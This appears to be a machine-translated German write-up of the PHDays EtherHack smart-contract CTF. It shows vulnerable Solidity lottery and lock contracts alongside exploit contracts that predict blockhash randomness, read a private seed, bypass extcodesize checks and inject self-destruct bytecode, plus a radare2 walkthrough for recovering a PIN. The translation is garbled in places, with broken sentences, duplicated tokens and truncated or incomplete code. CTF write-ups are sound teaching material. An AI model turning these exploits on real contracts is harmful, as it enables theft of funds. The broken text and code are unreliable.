
In diesem Jahr veranstalteten
PHDays zum ersten Mal einen Wettbewerb namens
EtherHack . Die Teilnehmer suchten nach Schwachstellen in intelligenten Verträgen, um die Geschwindigkeit zu erhöhen. In diesem Artikel informieren wir Sie über die Aufgaben des Wettbewerbs und mögliche Lösungsmöglichkeiten.
Azino 777
Gewinnen Sie die Lotterie und brechen Sie den Topf!
Die ersten drei Aufgaben betrafen Fehler bei der Generierung von Pseudozufallszahlen, über die wir kürzlich gesprochen haben:
Vorhersage von Zufallszahlen in intelligenten Ethereum-Verträgen . Die erste Aufgabe basierte auf einem Pseudozufallszahlengenerator (PRNG), der den Hash des letzten Blocks als Entropiequelle zur Erzeugung von Zufallszahlen verwendete:
pragma solidity ^0.4.16; contract Azino777 { function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); if(num == bet) { msg.sender.transfer(this.balance); } }
Da das Ergebnis des Aufrufs der Funktion
block.blockhash(block.number-1)
für jede Transaktion innerhalb desselben Blocks dasselbe ist, kann der Angriff einen Exploit-Vertrag mit derselben Funktion
rand()
verwenden, um den Zielvertrag über eine interne Nachricht aufzurufen:
function WeakRandomAttack(address _target) public payable { target = Azino777(_target); } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); }
Privat Ryan
Wir haben einen privaten Anfangswert hinzugefügt, den niemand jemals berechnen wird.
Diese Aufgabe ist eine etwas komplizierte Version der vorherigen. Die Seed-Variable, die als privat betrachtet wird, wird verwendet, um die Block-Ordnungszahl (block.number) zu versetzen, sodass der Hash des Blocks nicht vom vorherigen Block abhängt. Nach jeder Wette wird der Startwert auf einen neuen „zufälligen“ Versatz umgeschrieben. Zum Beispiel war es in der
Slotthereum- Lotterie genau das.
contract PrivateRyan { uint private seed = 1; function PrivateRyan() { seed = rand(256); } function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); seed = rand(256); if(num == bet) { msg.sender.transfer(this.balance); } } }
Wie in der vorherigen Aufgabe musste der Hacker nur die Funktion
rand()
in den Vertrags-Exploit kopieren. In diesem Fall musste der Wert der privaten Variablen seed außerhalb der Blockchain abgerufen und dann als Argument an den Exploit gesendet werden. Dazu können Sie die Methode
web3.eth.getStorageAt () aus der web3-Bibliothek verwenden:
Lesen Sie den Vertragsspeicher außerhalb der Blockchain, um den Anfangswert zu erhaltenNach Erhalt des Anfangswertes muss dieser nur noch an den Exploit gesendet werden, der fast identisch mit dem in der ersten Aufgabe ist:
contract PrivateRyanAttack { PrivateRyan target; uint private seed; function PrivateRyanAttack(address _target, uint _seed) public payable { target = PrivateRyan(_target); seed = _seed; } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); } }
Glücksrad
Diese Lotterie verwendet den Hash des nachfolgenden Blocks. Versuche es zu berechnen!
Bei dieser Aufgabe musste der Hash des Blocks ermittelt werden, dessen Nummer nach dem Platzieren der Wette in der Spielstruktur gespeichert wurde. Dieser Hash wurde dann extrahiert, um nach der nächsten Wette eine Zufallszahl zu generieren.
Pragma solidity ^0.4.16; contract WheelOfFortune { Game[] public games; struct Game { address player; uint id; uint bet; uint blockNumber; } function spin(uint256 _bet) public payable { require(msg.value >= 0.01 ether); uint gameId = games.length; games.length++; games[gameId].id = gameId; games[gameId].player = msg.sender; games[gameId].bet = _bet; games[gameId].blockNumber = block.number; if (gameId > 0) { uint lastGameId = gameId - 1; uint num = rand(block.blockhash(games[lastGameId].blockNumber), 100); if(num == games[lastGameId].bet) { games[lastGameId].player.transfer(this.balance); } } } function rand(bytes32 hash, uint max) pure private returns (uint256 result){ return uint256(keccak256(hash)) % max; } function() public payable {} }
In diesem Fall gibt es zwei mögliche Lösungen.
- Rufen Sie den Zielvertrag zweimal über den Exploit-Vertrag auf. Das Ergebnis des Aufrufs der Funktion block.blockhash (block.number) ist immer Null.
- Warten Sie, bis 256 Blöcke eingedrungen sind, und machen Sie eine zweite Wette. Der gespeicherte Blocksequenznummern-Hash ist aufgrund der Einschränkungen der Ethereum Virtual Machine (EVM) für die Anzahl der verfügbaren Block-Hashes Null.
In beiden Fällen
uint256(keccak256(bytes32(0))) % 100
oder „47“.
Ruf mich vielleicht an
Dieser Vertrag gefällt nicht, wenn andere Verträge ihn nennen.
Eine Möglichkeit, einen Vertrag vor dem Aufruf durch andere Verträge zu schützen, besteht darin, die Assembler-Anweisung EVM
extcodesize
, die die Größe des Vertrags an seine Adresse zurückgibt. Die Methode besteht darin, diese Anweisung für die Adresse des Transaktionssenders mithilfe der Assembler-Einfügung zu verwenden. Wenn das Ergebnis größer als Null ist, ist der Absender der Transaktion ein Vertrag, da normale Adressen in Ethereum keinen Code haben. Genau dieser Ansatz wurde in dieser Aufgabe verwendet, um zu verhindern, dass andere Verträge den Vertrag aufrufen.
contract CallMeMaybe { modifier CallMeMaybe() { uint32 size; address _addr = msg.sender; assembly { size := extcodesize(_addr) } if (size > 0) { revert(); } _; } function HereIsMyNumber() CallMeMaybe { if(tx.origin == msg.sender) { revert(); } else { msg.sender.transfer(this.balance); } } function() payable {} }
Die Transaktionseigenschaft
tx.origin
verweist auf den ursprünglichen Ersteller der Transaktion und msg.sender auf den letzten Aufrufer. Wenn wir die Transaktion von der üblichen Adresse senden, sind diese Variablen gleich und wir erhalten
revert()
. Um unser Problem zu lösen, musste daher die Überprüfung des
extcodesize
tx.origin
msg.sender
, damit
tx.origin
und
msg.sender
unterschiedlich sind. Glücklicherweise gibt es in EVM eine nette Funktion, die dabei helfen kann:

Wenn der gerade platzierte Vertrag einen anderen Vertrag im Konstruktor aufruft, existiert er selbst noch nicht in der Blockchain, sondern fungiert ausschließlich als Brieftasche. Somit ist der Code nicht an den neuen Vertrag gebunden und extcodesize gibt Null zurück:
contract CallMeMaybeAttack { function CallMeMaybeAttack(CallMeMaybe _target) payable { _target.HereIsMyNumber(); } function() payable {} }
Das Schloss
Seltsamerweise ist das Schloss geschlossen. Versuchen Sie, den PIN-Code über die Entsperrfunktion (bytes4 pincode) abzurufen. Jeder Freischaltversuch kostet 0,5 Äther.
Bei dieser Aufgabe erhielten die Teilnehmer keinen Code - sie mussten die Logik des Vertrags anhand seines Bytecodes wiederherstellen. Eine Möglichkeit war die Verwendung von Radare2, einer Plattform, die zum
Zerlegen und
Debuggen von EVMs verwendet wird .
Zu Beginn veröffentlichen wir ein Beispiel für die Zuweisung und geben den Code nach dem Zufallsprinzip ein:
await contract.unlock("1337", {value: 500000000000000000}) →false
Der Versuch ist natürlich gut, aber erfolglos. Versuchen Sie nun, diese Transaktion zu debuggen.
r2 -a evm -D evm "evm://localhost:8545@0xf7dd5ca9d18091d17950b5ecad5997eacae0a7b9cff45fba46c4d302cf6c17b7"
In diesem Fall weisen wir Radare2 an, die evm-Architektur zu verwenden. Dieses Tool stellt dann eine Verbindung zum Ethereum-Knoten her und ruft die Ablaufverfolgung dieser Transaktion in der virtuellen Maschine ab. Und jetzt sind wir endlich bereit, in den EVM-Bytecode einzutauchen.
Zunächst müssen Sie eine Analyse durchführen:
[0x00000000]> aa [x] Analyze all flags starting with sym. and entry0 (aa)
Als nächstes zerlegen wir die ersten 1000 Anweisungen (dies sollte ausreichen, um den gesamten Vertrag abzudecken) mit dem Befehl pd 1000 und wechseln zum Anzeigen des Diagramms mit dem Befehl VV.
Bei EVM-Bytecode, der mit
solc
kompiliert wurde, steht normalerweise der Funktionsmanager an erster Stelle. Basierend auf den ersten vier Bytes der
bytes4(sha3(function_name(params)))
die die Funktionssignatur enthalten, die als
bytes4(sha3(function_name(params)))
, entscheidet der Funktionsmanager, welche Funktion aufgerufen werden soll. Wir interessieren uns für die
unlock(bytes4)
, die
0x75a4e3a0
.
Nach dem Ausführungsablauf mit dem Schlüssel s gelangen wir zu dem Knoten, der die
callvalue
mit dem Wert
0x6f05b59d3b20000
oder
0x6f05b59d3b20000
vergleicht, was 0,5 Ether entspricht:
push8 0x6f05b59d3b20000 callvalue lt
Wenn der bereitgestellte Äther ausreicht, befinden wir uns in einem Knoten, der einer Kontrollstruktur ähnelt:
push1 0x4 dup4 push1 0xff and lt iszero push2 0x1a4 jumpi
Der Code platziert den Wert 0x4 am oberen Rand des Stapels, überprüft die Obergrenze (der Wert sollte 0xff nicht überschreiten) und vergleicht ihn mit einem Wert, der vom vierten Element des Stapels (dup4) dupliziert wurde.
Wenn wir zum Ende des Diagramms scrollen, sehen wir, dass dieses vierte Element im Wesentlichen ein Iterator ist und diese Kontrollstruktur eine Schleife ist, die
for(var i=0; i<4; i++):
push1 0x1 add swap4
Wenn wir den Körper der Schleife betrachten, wird es offensichtlich, dass sie vier eingehende Bytes auflistet und einige Operationen mit jedem der Bytes ausführt. Zunächst prüft die Schleife, ob das n-te Byte größer als 0x30 ist:
push1 0x30 dup3 lt iszero
und auch, dass dieser Wert kleiner als 0x39 ist:
push1 0x39 dup3 gt iszero
Dies ist im Wesentlichen eine Überprüfung, ob das angegebene Byte im Bereich von 0 bis 9 liegt. Wenn die Überprüfung erfolgreich ist, befinden wir uns im wichtigsten Codeblock:

Lassen Sie uns diesen Block in Teile zerlegen:
1. Das dritte Element im Stapel ist der ASCII-Code des n-ten Bytes des Pin-Codes. 0x30 (ASCII-Code für Null) wird auf den Stapel geschoben und dann vom Code dieses Bytes subtrahiert:
push1 0x30 dup3 sub
Das heißt,
pincode[i] - 48
, und wir erhalten im Wesentlichen eine Ziffer aus dem ASCII-Code. Nennen wir es d.
2. 0x4 wird zum Stapel hinzugefügt und als Exponent für das zweite Element im Stapel verwendet, d:
swap1 pop push1 0x4 dup2 exp
Das heißt,
d ** 4
.
3. Das fünfte Element des Stapels wird abgerufen und das Ergebnis der Potenzierung hinzugefügt. Nennen Sie diese Summe S:
dup5 add swap4 pop dup1
Das heißt,
S += d ** 4
.
4. 0xa (ASCII-Code für 10) wird auf den Stapel geschoben und als Multiplikator für das siebte Element des Stapels verwendet (das vor dieser Addition das sechste war). Wir wissen nicht, was es ist, deshalb werden wir dieses Element U nennen. Dann wird d zum Ergebnis der Multiplikation addiert:
push1 0xa dup7 mul add swap5 pop
Das heißt:
U = U * 10 + d
oder einfacher
([0x1, 0x3, 0x3, 0x7] → 1337)
dieser Ausdruck stellt den gesamten PIN-Code als Zahl aus einzelnen Bytes wieder her
([0x1, 0x3, 0x3, 0x7] → 1337)
.
Das Schwierigste, was wir getan haben, ist, dass wir nach der Schleife zum Code übergehen.
dup5 dup5 eq
Wenn das fünfte und sechste Element auf dem Stapel gleich sind, führt uns der Ausführungsfluss zum Befehl sstore, der ein bestimmtes Flag im Vertragsspeicher setzt. Da dies die einzige Sstore-Anweisung ist, haben wir anscheinend danach gesucht.
Aber wie kommt man durch diesen Test? Wie wir bereits herausgefunden haben, ist das fünfte Element auf dem Stapel S und das sechste U. Da S die Summe aller Ziffern des auf die vierte Potenz angehobenen PIN-Codes ist, benötigen wir einen PIN-Code, für den diese Bedingung erfüllt ist. In unserem Fall ergab die Analyse, dass
1**4 + 3**4 + 3**4 + 7**4
nicht 1337 entspricht und wir nicht zur Anweisung des Gewinners
sstore
.
Aber jetzt können wir eine Zahl berechnen, die die Bedingungen dieser Gleichung erfüllt. Es gibt nur drei Zahlen, die als Summe ihrer Ziffern vierten Grades geschrieben werden können: 1634, 8208 und 9474. Jede von ihnen kann das Schloss öffnen!
Piratenschiff
Hey Salag! Ein Piratenschiff machte im Hafen fest. Lassen Sie ihn vor Anker gehen und mit Jolly Roger die Flagge hissen und nach Schätzen suchen.
Der Standardkurs der Vertragsausführung umfasst drei Aktionen:
- Ein Aufruf der Funktion
dropAnchor()
mit einer Blocknummer, die mehr als 100.000 Blöcke größer sein sollte als die aktuelle. Die Funktion erstellt dynamisch einen Vertrag, bei dem es sich um einen "Anker" handelt, der mit selfdestruct()
nach dem angegebenen Block "aufgehoben" werden selfdestruct()
. - Ein Aufruf der Funktion
pullAnchor()
, die selfdestruct()
initiiert, wenn genügend Zeit vergangen ist (viel Zeit!). - Rufen Sie sailAway () auf, wodurch
blackJackIsHauled
auf true gesetzt wird, wenn kein Ankervertrag besteht.
pragma solidity ^0.4.19; contract PirateShip { address public anchor = 0x0; bool public blackJackIsHauled = false; function sailAway() public { require(anchor != 0x0); address a = anchor; uint size = 0; assembly { size := extcodesize(a) } if(size > 0) { revert();
Die Sicherheitsanfälligkeit liegt auf der Hand: Beim Erstellen eines Vertrags in der Funktion
dropAnchor()
Assembler-Anweisungen direkt
dropAnchor()
. Die Hauptschwierigkeit bestand jedoch darin, eine Nutzlast zu erstellen, mit der wir die
block.number
.
In EVM können Sie Verträge mit der Anweisung create erstellen. Seine Argumente sind Wert, Eingabeversatz und Eingabegröße. value ist ein Bytecode, der den Vertrag selbst hostet (Initialisierungscode). In unserem Fall wird der Initialisierungscode + Vertragscode in uint256 abgelegt (danke an das
GasToken- Team für die Idee):
0x6a63004141414310585733ff600052600b6015f3
Dabei sind die fettgedruckten Bytes der Code des gehosteten Vertrags und 414141 die Injektionsstelle. Da wir vor der Aufgabe stehen, den Wurfoperator loszuwerden, müssen wir unseren neuen Vertrag einfügen und den nachfolgenden Teil des Initialisierungscodes neu schreiben. Versuchen wir, den Vertrag mit der Anweisung 0xff zu versehen, was zur bedingungslosen Entfernung des Ankervertrags mit
selfdestruct()
:
68 414141ff3f3f3f3f3f ;; push9 Vertrag
60 00 ;; push1 0
52 ;; mstore
60 09 ;; push1 9
60 17 ;; push1 17
f3 ;; zurück
Wenn wir diese Folge von Bytes in
uint256 (9081882833248973872855737642440582850680819)
und als Argument für die Funktion
dropAnchor()
verwenden, erhalten wir den folgenden Wert für die
dropAnchor()
(der fettgedruckte Bytecode ist unsere Nutzlast):
0x630068414141ff3f3f3f3f3f60005260096017f34310585733ff
Nachdem die Codevariable Teil der Initcodevariablen geworden ist, erhalten wir den folgenden Wert:
0x68414141ff3f3f3f3f3f60005260096017f34310585733ff600052600b6015f3
Jetzt sind die High-Bytes
0x6300
weg und der Rest des Bytecodes wird nach
0xf3 (return)
verworfen.

Als Ergebnis wird ein neuer Vertrag mit der geänderten Logik erstellt:
41 ;; Münzbasis
41 ;; Münzbasis
41 ;; Münzbasis
ff ;; Selbstzerstörung
3f ;; Müll
3f ;; Müll
3f ;; Müll
3f ;; Müll
3f ;; Müll
Wenn wir jetzt die Funktion pullAnchor () aufrufen, wird dieser Vertrag sofort zerstört, da block.number nicht mehr überprüft wird. Danach rufen wir die Funktion sailAway () auf und feiern den Sieg!
Ergebnisse
- Erster Platz und Ausstrahlung in Höhe von 1.000 US-Dollar: Alexey Pertsev (p4lex)
- Zweiter Platz und Ledger Nano S: Alexey Markov
- Dritter Platz und PHDays Souvenirs: Alexander Vlasov
Alle Ergebnisse:
etherhack.positive.com/#/scoreboard
Herzlichen Glückwunsch an die Gewinner und vielen Dank an alle Teilnehmer!
PS Vielen Dank an
Zeppelin , der den Quellcode der
Ethernaut CTF- Plattform Open Source gemacht hat.